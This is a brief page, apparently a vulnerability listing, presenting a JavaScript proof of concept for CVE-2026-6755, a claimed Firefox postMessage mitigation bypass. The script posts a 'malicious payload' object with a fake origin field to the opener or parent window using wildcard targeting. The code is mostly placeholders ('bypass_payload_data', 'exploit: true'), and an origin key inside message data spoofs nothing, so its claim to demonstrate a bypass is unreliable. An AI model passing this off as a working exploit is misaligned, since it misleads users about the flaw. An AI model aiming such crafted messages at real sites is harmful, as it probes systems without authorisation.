CVE-2026-6755: Firefox postMessage缓解绕过漏洞

// PoC for CVE-2026-6755: DOM postMessage Mitigation Bypass // Description: This script demonstrates sending a crafted message // to potentially trigger the mitigation bypass in vulnerable browsers. function triggerBypass() { // Identify the target window (e.g., opener or parent) const target = window.opener || window.parent; if (target) { // Craft a payload that exploits the validation logic flaw const maliciousPayload = { origin: "spoofed-origin", data: "bypass_payload_data", // Additional fields to confuse the mitigation parser exploit: true }; console.log("[+] Sending crafted postMessage to bypass mitigation..."); // Send message with broad target scope to test the vulnerability target.postMessage(maliciousPayload, "*"); } else { console.log("[-] No target window found."); } } triggerBypass();